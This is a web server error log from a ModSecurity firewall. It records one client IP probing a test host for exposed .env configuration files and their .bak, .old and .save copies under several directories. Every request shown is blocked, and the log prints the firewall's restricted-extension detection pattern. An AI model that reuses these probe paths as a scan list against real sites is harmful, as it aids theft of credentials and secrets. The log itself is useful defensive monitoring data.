[Sun Nov 16 05:34:11.004732 2025] [:error] [pid 103445] [client 18.119.101.32:39264] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aRlUQ0C1MmZNgKkPK0wSYQAAAAg"]
[Sun Nov 16 05:34:11.004945 2025] [:error] [pid 103445] [client 18.119.101.32:39264] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aRlUQ0C1MmZNgKkPK0wSYQAAAAg"]
[Sun Nov 16 05:34:11.005111 2025] [:error] [pid 103445] [client 18.119.101.32:39264] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aRlUQ0C1MmZNgKkPK0wSYQAAAAg"]
[Sun Nov 16 05:34:11.028039 2025] [:error] [pid 103398] [client 18.119.101.32:39250] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aRlUQ7czEoTwe_Jf335FSwAAAAA"]
[Sun Nov 16 05:34:11.028206 2025] [:error] [pid 103398] [client 18.119.101.32:39250] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aRlUQ7czEoTwe_Jf335FSwAAAAA"]
[Sun Nov 16 05:34:11.028405 2025] [:error] [pid 103398] [client 18.119.101.32:39250] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aRlUQ7czEoTwe_Jf335FSwAAAAA"]
[Sun Nov 16 05:34:11.028584 2025] [:error] [pid 103398] [client 18.119.101.32:39250] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aRlUQ7czEoTwe_Jf335FSwAAAAA"]
[Sun Nov 16 05:34:11.095142 2025] [authz_core:error] [pid 103444] [client 18.119.101.32:39276] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env
[Sun Nov 16 05:34:12.793008 2025] [authz_core:error] [pid 103447] [client 18.119.101.32:39300] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env.bak
[Sun Nov 16 05:34:12.907119 2025] [authz_core:error] [pid 105703] [client 18.119.101.32:39290] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env.save
[Sun Nov 16 05:34:12.943615 2025] [authz_core:error] [pid 103448] [client 18.119.101.32:39308] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env.old
[Sun Nov 16 05:34:13.013933 2025] [:error] [pid 103401] [client 18.119.101.32:39322] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aRlURb5rejGDIGJeuSGFuQAAAAM"]
[Sun Nov 16 05:34:13.014167 2025] [:error] [pid 103401] [client 18.119.101.32:39322] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aRlURb5rejGDIGJeuSGFuQAAAAM"]
[Sun Nov 16 05:34:13.014368 2025] [:error] [pid 103401] [client 18.119.101.32:39322] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aRlURb5rejGDIGJeuSGFuQAAAAM"]
[Sun Nov 16 05:34:13.057422 2025] [:error] [pid 103400] [client 18.119.101.32:39334] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.save"] [unique_id "aRlURTNSkdMAuXBkjk7iHwAAAAI"]
[Sun Nov 16 05:34:13.057626 2025] [:error] [pid 103400] [client 18.119.101.32:39334] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.save"] [unique_id "aRlURTNSkdMAuXBkjk7iHwAAAAI"]
[Sun Nov 16 05:34:13.057779 2025] [:error] [pid 103400] [client 18.119.101.32:39334] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.save"] [unique_id "aRlURTNSkdMAuXBkjk7iHwAAAAI"]
[Sun Nov 16 05:34:22.303376 2025] [:error] [pid 103445] [client 18.119.101.32:37112] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aRlUTkC1MmZNgKkPK0wSYgAAAAg"]
[Sun Nov 16 05:34:22.303544 2025] [:error] [pid 103445] [client 18.119.101.32:37112] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aRlUTkC1MmZNgKkPK0wSYgAAAAg"]
[Sun Nov 16 05:34:22.303745 2025] [:error] [pid 103445] [client 18.119.101.32:37112] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aRlUTkC1MmZNgKkPK0wSYgAAAAg"]
[Sun Nov 16 05:34:22.303927 2025] [:error] [pid 103445] [client 18.119.101.32:37112] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aRlUTkC1MmZNgKkPK0wSYgAAAAg"]
[Sun Nov 16 05:34:22.318147 2025] [:error] [pid 103398] [client 18.119.101.32:37124] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aRlUTrczEoTwe_Jf335FTAAAAAA"]
[Sun Nov 16 05:34:22.318296 2025] [:error] [pid 103398] [client 18.119.101.32:37124] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aRlUTrczEoTwe_Jf335FTAAAAAA"]
[Sun Nov 16 05:34:22.318480 2025] [:error] [pid 103398] [client 18.119.101.32:37124] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aRlUTrczEoTwe_Jf335FTAAAAAA"]
[Sun Nov 16 05:34:22.318626 2025] [:error] [pid 103398] [client 18.119.101.32:37124] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aRlUTrczEoTwe_Jf335FTAAAAAA"]
[Sun Nov 16 05:34:22.341372 2025] [:error] [pid 105706] [client 18.119.101.32:37136] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aRlUTvgkUVuXhjEnxphnOAAAAAQ"]
[Sun Nov 16 05:34:22.341520 2025] [:error] [pid 105706] [client 18.119.101.32:37136] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aRlUTvgkUVuXhjEnxphnOAAAAAQ"]
[Sun Nov 16 05:34:22.341681 2025] [:error] [pid 105706] [client 18.119.101.32:37136] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aRlUTvgkUVuXhjEnxphnOAAAAAQ"]
[Sun Nov 16 05:34:22.341822 2025] [:error] [pid 105706] [client 18.119.101.32:37136] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aRlUTvgkUVuXhjEnxphnOAAAAAQ"]
[Sun Nov 16 05:34:22.352060 2025] [:error] [pid 103446] [client 18.119.101.32:37132] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "aRlUTk-c4YqyOTFJOSeIRQAAAAk"]
[Sun Nov 16 05:34:22.352217 2025] [:error] [pid 103446] [client 18.119.101.32:37132] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "aRlUTk-c4YqyOTFJOSeIRQAAAAk"]
[Sun Nov 16 05:34:22.352372 2025] [:error] [pid 103446] [client 18.119.101.32:37132] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "aRlUTk-c4YqyOTFJOSeIRQAAAAk"]
[Sun Nov 16 05:34:22.356246 2025] [:error] [pid 103447] [client 18.119.101.32:37156] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.save"] [unique_id "aRlUTlTEmL7xLg9Yon5F3gAAAAo"]
[Sun Nov 16 05:34:22.356395 2025] [:error] [pid 103447] [client 18.119.101.32:37156] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.save"] [unique_id "aRlUTlTEmL7xLg9Yon5F3gAAAAo"]
[Sun Nov 16 05:34:22.356541 2025] [:error] [pid 103447] [client 18.119.101.32:37156] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.save"] [unique_id "aRlUTlTEmL7xLg9Yon5F3gAAAAo"]
[Sun Nov 16 05:34:22.379673 2025] [:error] [pid 105703] [client 18.119.101.32:37150] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aRlUTvg2Gh-L-AjQsRfGxAAAAAU"]
[Sun Nov 16 05:34:22.379823 2025] [:error] [pid 105703] [client 18.119.101.32:37150] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aRlUTvg2Gh-L-AjQsRfGxAAAAAU"]
[Sun Nov 16 05:34:22.379972 2025] [:error] [pid 105703] [client 18.119.101.32:37150] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aRlUTvg2Gh-L-AjQsRfGxAAAAAU"]
[Sun Nov 16 05:34:22.447769 2025] [:error] [pid 103444] [client 18.119.101.32:37146] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.save"] [unique_id "aRlUTkjUGFX9l3ZphyhAnwAAAAc"]
